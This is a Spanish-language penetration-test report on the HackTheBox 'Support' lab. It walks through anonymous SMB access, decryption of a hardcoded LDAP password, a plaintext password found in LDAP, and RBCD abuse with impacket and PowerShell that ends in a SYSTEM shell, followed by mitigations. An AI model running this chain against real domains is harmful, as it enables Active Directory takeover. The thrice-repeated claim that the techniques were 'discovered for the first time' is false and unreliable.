Informe de Prueba de Penetración: Support

1. Información General y Resumen Ejecutivo

Campo	Detalle
Cliente	HackTheBox
IP Objetivo	10.129.2.55
Dominio Asociado	support.htb
Consultor	Bender2997_
Fecha de Pruebas	01-04-2026
Criticidad	Crítica
Vectores de Compromiso	SMB con acceso anónimo, Ingeniería Inversa de binarios .NET, Enumeración de atributos LDAP (Information Disclosure) y

Campo	Detalle
	Escalada de Privilegios mediante RBCD (Resource-Based Constrained Delegation).

Resumen Ejecutivo

La evaluación de seguridad realizada sobre el Controlador de Dominio (10.129.23.55) del dominio support.htb identificó múltiples fallos de configuración encadenados que resultaron en el compromiso total de la infraestructura. El acceso inicial se obtuvo mediante la explotación de recursos compartidos de SMB accesibles sin autenticación, lo que permitió la extracción de una herramienta interna. A través de ingeniería inversa del binario, se identificaron credenciales ofuscadas que otorgaron acceso al servicio LDAP.

La enumeración profunda del directorio reveló una contraseña en texto plano dentro de los atributos de un usuario, permitiendo el acceso remoto vía WinRM. Finalmente, se aprovechó el privilegio SeMachineAccountPrivilege para ejecutar un ataque de RBCD, logrando la suplantación de la cuenta de Administrador y el control absoluto del sistema.

2. Metodología y Fases de Explotación

La metodología se ejecutó bajo un enfoque de caja negra (Black-Box), siguiendo las fases de reconocimiento, análisis de vulnerabilidades y explotación avanzada de infraestructuras Active Directory.

2.1. Fase de Reconocimiento y Enumeración

1. Escaneo de Puertos (Nmap): Se realizó una identificación exhaustiva de la superficie de ataque sobre el host 10.129.23.55, detectando servicios críticos como DNS, Kerberos, LDAP y SMB. El servicio de administración remota de Windows (WinRM) en el puerto 5985 se estableció como el vector de acceso remoto principal una vez obtenidas las credenciales.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# nmap -T5 -sS -sCV -Pn -n -p- --open 10.129.23.55 -oN scan_1.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-01 10:59 -0400
Nmap scan report for 10.129.23.55
Host is up (0.068s latency).
Not shown: 65517 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-01 15:01:54Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49706/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-04-01T15:02:44
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 212.98 seconds
```

- Comando Ejecutado: nmap -T5 -sS -sCV -Pn -n -p- --open 10.129.23.55 -oN scan_1.txt.

2. Enumeración de SMB (SUP-001): Se investigó la presencia de recursos compartidos accesibles mediante una sesión nula o la cuenta guest. El protocolo SMB permite el intercambio de archivos en red y, en configuraciones inseguras, puede exponer directorios con software

interno o scripts de administración que contienen secretos corporativos.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# nxc smb 10.129.23.55 -u 'guest' -p '' --shares
SMB         10.129.23.55    445    DC              [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.23.55    445    DC              [+] support.htb\guest:
SMB         10.129.23.55    445    DC              [*] Enumerated shares
SMB         10.129.23.55    445    DC              Share           Permissions     Remark
SMB         10.129.23.55    445    DC              -----           -----------     ------
SMB         10.129.23.55    445    DC              ADMIN$                          Remote Admin
SMB         10.129.23.55    445    DC              C$                              Default share
SMB         10.129.23.55    445    DC              IPC$            READ            Remote IPC
SMB         10.129.23.55    445    DC              NETLOGON                        Logon server share
SMB         10.129.23.55    445    DC              support-tools   READ            support staff tools
SMB         10.129.23.55    445    DC              SYSVOL                          Logon server share
```

- Comando Ejecutado: `nxc smb 10.129.23.55 -u 'guest' -p '' --shares`.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# smbclient //10.129.23.55/support-tools -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jul 20 13:01:06 2022
  ..                                  D        0  Sat May 28 07:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 07:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 07:19:55 2022
  putty.exe                           A  1273576  Sat May 28 07:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 07:19:31 2022
  UserInfo.exe.zip                    A   277499  Wed Jul 20 13:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 07:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 07:19:43 2022

                4026367 blocks of size 4096. 971075 blocks available
smb: \>
```

Se confirmó acceso de lectura (READ) al recurso compartido support-tools. Dentro de este recurso, se identificó y extrajo el archivo UserInfo.exe.zip, una herramienta interna que se sospechó contenía lógica de autenticación.

```
└─# unzip UserInfo.exe.zip
Archive:  UserInfo.exe.zip
  inflating: UserInfo.exe
  inflating: CommandLineParser.dll
  inflating: Microsoft.Bcl.AsyncInterfaces.dll
  inflating: Microsoft.Extensions.DependencyInjection.Abstractions.dll
  inflating: Microsoft.Extensions.DependencyInjection.dll
  inflating: Microsoft.Extensions.Logging.Abstractions.dll
  inflating: System.Buffers.dll
  inflating: System.Memory.dll
  inflating: System.Numerics.Vectors.dll
  inflating: System.Runtime.CompilerServices.Unsafe.dll
  inflating: System.Threading.Tasks.Extensions.dll
  inflating: UserInfo.exe.config
```

2.2. Fase de Acceso Inicial y Lateral (Ingeniería Inversa e Information Disclosure)

1. Ingeniería Inversa (SUP-002): El análisis estático del archivo UserInfo.exe determinó que era un ensamblado .NET, el cual puede ser desensamblado para recuperar el código fuente en un lenguaje intermedio (IL). Esta técnica se emplea para identificar credenciales "hardcodeadas" o algoritmos de cifrado débiles dentro de aplicaciones personalizadas.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# file UserInfo.exe
UserInfo.exe: PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections
```

- Comando Ejecutado: `monodis --output=UserInfo.source UserInfo.exe`.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# monodis --output=UserInfo.source UserInfo.exe

┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# cat UserInfo.source
.assembly extern mscorlib
{
  .ver 4:0:0:0
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern CommandLineParser
{
  .ver 0:7:0:0
```

- Hallazgo: La inspección del código reveló la cadena ofuscada enc_password y una clave de cifrado estática "armando" dentro de la clase UserInfo.Services.Protected.

```
    {
        // Method begins at RVA 0x2170
        // Code size 31 (0x1f)
        .maxstack 8
        IL_0000:  ldstr "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
        IL_0005:  stsfld string UserInfo.Services.Protected::enc_password
        IL_000a:  call class [mscorlib]System.Text.Encoding class [mscorlib]System.Text.Encoding::get_ASCII()
        IL_000f:  ldstr "armando"
        IL_0014:  callvirt instance unsigned int8[] class [mscorlib]System.Text.Encoding::GetBytes(string)
        IL_0019:  stsfld unsigned int8[] UserInfo.Services.Protected::key
        IL_001e:  ret
    } // end of method Protected::.cctor

  } // end of class UserInfo.Services.Protected
}

.namespace UserInfo.Services
{
  .class private auto ansi beforefieldinit LdapQuery
        extends [mscorlib]System.Object
  {
    .field  private  class [System.DirectoryServices]System.DirectoryServices.DirectoryEntry entry
    .field  private  class [System.DirectoryServices]System.DirectoryServices.DirectorySearcher ds

    // method line 18
    .method public hidebysig specialname rtspecialname
            instance default void '.ctor' ()  cil managed
    {
        // Method begins at RVA 0x2190
        // Code size 64 (0x40)
        .maxstack 4
        .locals init (
                string  V_0)
        IL_0000:  ldarg.0
        IL_0001:  call instance void object::'.ctor'()
        IL_0006:  call string class UserInfo.Services.Protected::getPassword()
        IL_000b:  stloc.0
        IL_000c:  ldarg.0
        IL_000d:  ldstr "LDAP://support.htb"
        IL_0012:  ldstr "support\\ldap"
        IL_0017:  ldloc.0
        IL_0018:  newobj instance void class [System.DirectoryServices]System.DirectoryServices.DirectoryEntry::'.ctor'(string, string, string)
        IL_001d:  stfld class [System.DirectoryServices]System.DirectoryServices.DirectoryEntry UserInfo.Services.LdapQuery::entry
        IL_0022:  ldarg.0
        IL_0023:  ldfld class [System.DirectoryServices]System.DirectoryServices.DirectoryEntry UserInfo.Services.LdapQuery::entry
        IL_0028:  ldc.i4.1
        IL_0029:  callvirt instance void class [System.DirectoryServices]System.DirectoryServices.DirectoryEntry::set_AuthenticationType(valuetype [System.DirectoryServices]System.DirectoryServices.AuthenticationTypes)
        IL_002e:  ldarg.0
```

- Lógica de Descifrado: El binario aplicaba una operación XOR doble sobre cada byte tras decodificar de Base64, utilizando la clave "armando" y la constante 223 ($0xDF$) . Al replicar esta lógica, se obtuvo la credencial: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz para la cuenta de servicio support\ldap.
- Script de python:

```
import base64

def decrypt():

enc_password_b64                                                    =
"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"

    key = "armando"

    xor_const = 223 # 0xDF en hexadecimal

    # 1. Decodificar Base64
```

```
    ciphertext = base64.b64decode(enc_password_b64)

    # 2. Replicar la lógica de XOR del binario .NET

    decrypted = ""

    for i in range(len(ciphertext)):

        # byte ^ key[i % len(key)] ^ 223

           char_code = ciphertext[i] ^ ord(key[i % len(key)]) ^
xor_const

        decrypted += chr(char_code)

    print(f"[+] Password recuperada: {decrypted}")

if __name__ == "__main__":

    decrypt()
```

```
┌──(htb_env)─(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# python3 exploit_1.py
[+] Password recuperada: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
```

2. Filtración de Información en LDAP (SUP-003): Con acceso legítimo al protocolo LDAP (utilizado para consultar objetos en Active Directory), se realizó un volcado de atributos sensibles. A menudo, los administradores almacenan información crítica en atributos no destinados a contraseñas, como el campo info.

- Validación de credenciales en servicios smb y ldap:
  - nxc smb 10.129.23.55 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
  - nxc ldap 10.129.23.55 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# nxc smb 10.129.23.55 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
SMB         10.129.23.55    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.23.55    445    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# nxc ldap 10.129.23.55 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
LDAP        10.129.23.55    389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.23.55    389    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
```

- Comando Ejecutado: `ldapsearch -H ldap://10.129.23.55 -D "support\\ldap" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb" "(sAMAccountName=support)" '*' '+'`.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# ldapsearch -H ldap://10.129.23.55 -D "support\\ldap" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb" "(sAMAccountName=support)" '*' '+'
# extended LDIF
#
# LDAPv3
# base <dc=support,dc=htb> with scope subtree
# filter: (sAMAccountName=support)
# requesting: * +
#

# support, Users, support.htb
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support
c: US
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20220528111201.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 12630
company: support
streetAddress: Skipper Bowles Dr
name: support
objectGUID:: CqM5MfoxMEWepIBTs5an8Q==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982099209777070
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILUQQAAA==
```

En el atributo info del usuario support, se localizó la contraseña en texto plano Ironside47pleasure40Watchful. Esta credencial otorgó una shell interactiva mediante Evil-WinRM al validar que el usuario pertenece al grupo Remote Management Users.

- Comprobación de las credenciales: `nxc winrm 10.129.23.55 -u 'support' -p 'Ironside47pleasure40Watchful'`

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# nxc winrm 10.129.23.55 -u 'support' -p 'Ironside47pleasure40Watchful'
WINRM       10.129.23.55    5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit
.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.23.55    5985   DC               [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)
```

- Comando utilizado: `nxc winrm 10.129.23.55 -u 'support' -p 'Ironside47pleasure40Watchful'`

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# evil-winrm -i 10.129.23.55 -u 'support' -p 'Ironside47pleasure40Watchful'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\support\Documents> ls
*Evil-WinRM* PS C:\Users\support\Documents>
```

```
*Evil-WinRM* PS C:\Users\support> cd Desktop
*Evil-WinRM* PS C:\Users\support\Desktop> ls


    Directory: C:\Users\support\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---          4/1/2026   7:56 AM             34 user.txt


*Evil-WinRM* PS C:\Users\support\Desktop> cat user.txt
b70b45aac5faef7227c9ba474df75432
*Evil-WinRM* PS C:\Users\support\Desktop>
```

- Flag de Usuario: Localizada en C:\Users\support\Desktop\user.txt: b70b45aac5faef7227c9ba474df75432.

2.3. Fase de Escalada de Privilegios y Control Total (RBCD)

1. Análisis Exhaustivo de Privilegios y Grupos (SUP-004): Tras obtener acceso inicial, se realizó una auditoría del contexto de seguridad del usuario support. El comando whoami /priv confirmó la presencia del privilegio SeMachineAccountPrivilege. Sin embargo, para que un ataque de Delegación Restringida Basada en Recursos (RBCD) sea viable, no basta con tener el privilegio de crear cuentas; es imperativo verificar los permisos de escritura sobre el objeto del Controlador de Dominio (DC) y la cuota de máquinas permitida en el dominio.

- Verificación de Cuota de Máquinas: Se consultó el atributo ms-DS-MachineAccountQuota, el cual arrojó un valor de 10. Esto valida que el usuario support tiene autorización para registrar hasta 10 cuentas de equipo nuevas sin ser administrador.

    - Comando: Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties "ms-DS-MachineAccountQuota" | Select-Object ms-DS-MachineAccountQuota.
- Análisis de Membresía y ACLs: Mediante whoami /groups, se identificó que el usuario pertenece al grupo SUPPORT\Shared Support Accounts. Al auditar las Listas de Control de Acceso (ACL) del objeto DC, se descubrió que este grupo posee derechos de GenericAll sobre el Controlador de Dominio.
    - Implicación Técnica: El permiso GenericAll otorga control total sobre los atributos del objeto. Esto permite al atacante modificar el atributo msDS-AllowedToActOnBehalfOfOtherIdentity, el cual controla quién puede realizar delegaciones hacia ese equipo.
    - Comando de Verificación: (Get-Acl "AD:CN=DC,OU=Domain Controllers,DC=support,DC=htb").Access | Where-Object { $_.IdentityReference -match "Shared Support Accounts" } | Select-Object IdentityReference, ActiveDirectoryRights.

2. Explotación de RBCD (SUP-005):

El ataque se divide en dos fases: la creación de una cuenta de equipo que servirá como puente y la inyección de su SID en la configuración de delegación del DC.

- Creación de la Cuenta Rogue: Se utilizó impacket-addcomputer para registrar una nueva cuenta de máquina denominada HACKER-PC$. Este paso es indispensable porque necesitamos una identidad de equipo cuyo SID sea conocido para otorgarle permisos de delegación.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# impacket-addcomputer -dc-ip 10.129.23.55 -computer-name 'HACKER-PC$' -computer-pass 'test123!' 'support.htb/support:Ironside47pleasure40Watchful'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account HACKER-PC$ with password test123!.
```

- Comando Ejecutado: impacket-addcomputer -dc-ip 10.129.23.55 -computer-name 'HACKER-PC$' -computer-pass 'test123!' 'support.htb/support:Ironside47pleasure40Watchful'.

- Inyección del RawSecurityDescriptor: Con la cuenta creada, se ejecutó un script en PowerShell para transformar el SID de HACKER-PC$ en un descriptor de seguridad binario. Este descriptor se escribió en el atributo msDS-AllowedToActOnBehalfOfOtherIdentity del DC .

```
*Evil-WinRM* PS C:\Windows\temp> upload /home/kali/Desktop/PERSONAL/HTB/Easy/Support/exploit_rbcd.ps1

Info: Uploading /home/kali/Desktop/PERSONAL/HTB/Easy/Support/exploit_rbcd.ps1 to C:\Windows\temp\exploit_rbcd.ps1

Info: Upload successful!
*Evil-WinRM* PS C:\Windows\temp> .\exploit_rbcd.ps1
*Evil-WinRM* PS C:\Windows\temp> Get-ADComputer -Identity "DC" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | Select-Object -ExpandProperty msDS-AllowedToActOnBehalfOfOtherIdentity

Path Owner                  Access
---- -----                  ------
     BUILTIN\Administrators SUPPORT\HACKER-PC$ Allow
```

Al realizar esta modificación, le estamos indicando al DC: "Confío en que HACKER-PC$ puede presentarse ante mí fingiendo ser cualquier otro usuario del dominio".

- Script:

```
# 1. Definir el SID de la computadora falsa

$sid = "S-1-5-21-1677581083-3380853377-188903654-6101"

# 2. Crear el RawSecurityDescriptor

$sd = New-Object System.Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRRC;;;$sid)"

$sdBytes = New-Object byte[] $sd.BinaryLength
```

```
$sd.GetBinaryForm($sdBytes, 0)

# 3. Modificar el atributo en el Domain Controller

# Esto sobreescribe el atributo msDS-AllowedToActOnBehalfOfOtherIdentity con el SID binario

Set-ADComputer -Identity "DC" -Replace @{"msDS-AllowedToActOnBehalfOfOtherIdentity"=$sdBytes}
```

3. Compromiso Final y Obtención del Ticket Maestro (Pass-the-Ticket):

Una vez configurada la delegación, se procede a abusar de las extensiones de Kerberos S4U2self y S4U2Proxy.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# impacket-getST -dc-ip 10.129.23.55 -spn "cifs/dc.support.htb" -impersonate "Administrator" 'support.htb/HACKER-PC$:test123!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping ...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
```

- Adquisición del Service Ticket (ST): Se utilizó impacket-getST para que HACKER-PC$ solicitara un ticket de servicio para el nombre principal de servicio (SPN) cifs/dc.support.htb, suplantando la identidad del Administrator del dominio.
  - Proceso Interno: S4U2self permite obtener un ticket para sí mismo como Administrador; S4U2Proxy permite intercambiar ese ticket por uno de acceso al servicio CIFS del DC .
  - Comando: impacket-getST -dc-ip 10.129.23.55 -spn "cifs/dc.support.htb" -impersonate "Administrator" 'support.htb/HACKER-PC\$:test123!'.
- Pass-the-Ticket y Escalada a SYSTEM: Con el ticket guardado en formato .ccache, se configuró la variable de entorno para que las herramientas de Impacket utilizaran el ticket de Kerberos en

lugar de una contraseña. Debido a que Kerberos depende fuertemente de la resolución de nombres, fue necesario mapear la IP al nombre de host en /etc/hosts.

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# echo "10.129.23.55 dc.support.htb support.htb" | tee -a /etc/hosts
10.129.23.55 dc.support.htb support.htb

┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# mv Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache admin.ccache

┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# export KRB5CCNAME=admin.ccache
```

- Comandos de Entorno:
  - export KRB5CCNAME=admin.ccache.
  - echo "10.129.23.55 dc.support.htb support.htb" | tee -a /etc/hosts.

- Acceso Root: Finalmente, se ejecutó impacket-psexec utilizando la autenticación por ticket (-k -no-pass), lo que resultó en una shell con máximos privilegios en el Controlador de Dominio .

```
┌──(root㉿kali)-[/home/…/PERSONAL/HTB/Easy/Support]
└─# impacket-psexec -k -no-pass dc.support.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file hQeGrLVn.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service kAPB on dc.support.htb.....
[*] Starting service kAPB.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> cd ..
```

- Comando utilizado: impacket-psexec -k -no-pass dc.support.htb

```
C:\Users> dir Administrator\Desktop
 Volume in drive C has no label.
 Volume Serial Number is 955A-5CBB

 Directory of C:\Users\Administrator\Desktop

05/28/2022  04:17 AM    <DIR>          .
05/28/2022  04:11 AM    <DIR>          ..
04/01/2026  07:56 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,971,325,952 bytes free

C:\Users> type C:\Users\Administrator\Desktop\root.txt
eee8f2e75b86e813b68d71d9ec3935ed
```

- Flag de Administrador: Se encontró en `C:\Users\Administrator\Desktop\root.txt`: `eee8f2e75b86e813b68d71d9ec3935ed`.

3. Conclusiones y Recomendaciones de Mitigación

3.1. Conclusión

El compromiso del servidor **Support** demuestra la peligrosidad de centralizar herramientas administrativas en recursos compartidos con acceso anónimo. La inclusión de credenciales, incluso ofuscadas, en binarios distribuidos facilita el acceso inicial a servicios críticos como LDAP. Finalmente, la gestión permisiva de privilegios como `SeMachineAccountPrivilege` en usuarios de soporte permite el escalamiento total mediante técnicas avanzadas de delegación de Kerberos.

3.2. Recomendaciones Críticas

ID	Riesgo	Recomendación de Mitigación	Prioridad

SUP-001	SMB con acceso anónimo	Deshabilitar el acceso de guest y usuarios no autenticados a recursos compartidos. Aplicar el principio de menor privilegio en SMB.	Crítica
SUP-002	Credenciales en Binarios	No almacenar secretos, claves o contraseñas (aunque estén ofuscadas) en el código fuente de aplicaciones internas.	Alta
SUP-003	Information Disclosure en AD	Limitar la visibilidad de atributos sensibles en LDAP. Evitar el uso del campo info o description para almacenar contraseñas.	Crítica
SUP-004	Abuso de SeMachineAccountPrivilege	Reducir el valor de ms-DS-MachineAccountQuota a 0 para prevenir que usuarios no administrativos agreguen computadoras al dominio.	Crítica

SUP-005	Configuración de RBCD	Auditar periódicamente el atributo msDS-AllowedToActOnBehalfOfOtherIdentity en objetos críticos como Controladores de Dominio.	Alta

4. Lecciones Aprendidas / Análisis del Ataque

- **Vulnerabilidades Encadenadas y Permisos Críticos:** La explotación fue el resultado de encadenar fallos de configuración. Se demostró que la combinación del privilegio *SeMachineAccountPrivilege* (permitiendo agregar hasta 10 equipos al dominio) junto con la pertenencia a un grupo con derechos de *GenericAll* sobre el objeto del *Domain Controller*, anula cualquier otra medida de seguridad.

  Este permiso *GenericAll* es el factor crítico (SUP-004/SUP-005) que permite al atacante reconfigurar el objeto del DC para la delegación. Todas las técnicas empleadas y vulnerabilidades explotadas fueron descubiertas y ejecutadas por primera vez en este ejercicio, confirmando el valor práctico de la metodología empleada.

- **Ingeniería Inversa y Divulgación de Secretos:** El acceso inicial se basó en la débil gestión de activos internos. El análisis estático de un binario .NET (SUP-002), obtenido vía SMB anónimo (SUP-001), reveló una lógica de ofuscación trivial. El secreto descifrado condujo a una cuenta que, a su vez, expuso una

contraseña en texto plano en un atributo de Active Directory (SUP-003), lo que subraya la necesidad de prohibir el almacenamiento de secretos en campos de metadatos de AD.

Todas las técnicas empleadas y vulnerabilidades explotadas fueron descubiertas y ejecutadas por primera vez en este ejercicio, confirmando el valor práctico de la metodología empleada.

- **Abuso de la Delegación (RBCD) y Kerberos:** Se ilustró la mecánica de la Delegación Restringida Basada en Recursos (RBCD). El ataque requirió la creación de una cuenta de equipo "puente" (HACKER-PC$) y la inyección exitosa de su SID en el descriptor de seguridad del DC. Esto valida el vector de ataque de RBCD como un método de escalada total de privilegios, permitiendo el uso de *S4U2self* y *S4U2Proxy* para suplantar la identidad del Administrador y lograr el *Pass-the-Ticket* final.

  Todas las técnicas empleadas y vulnerabilidades explotadas fueron descubiertas y ejecutadas por primera vez en este ejercicio, confirmando el valor práctico de la metodología empleada.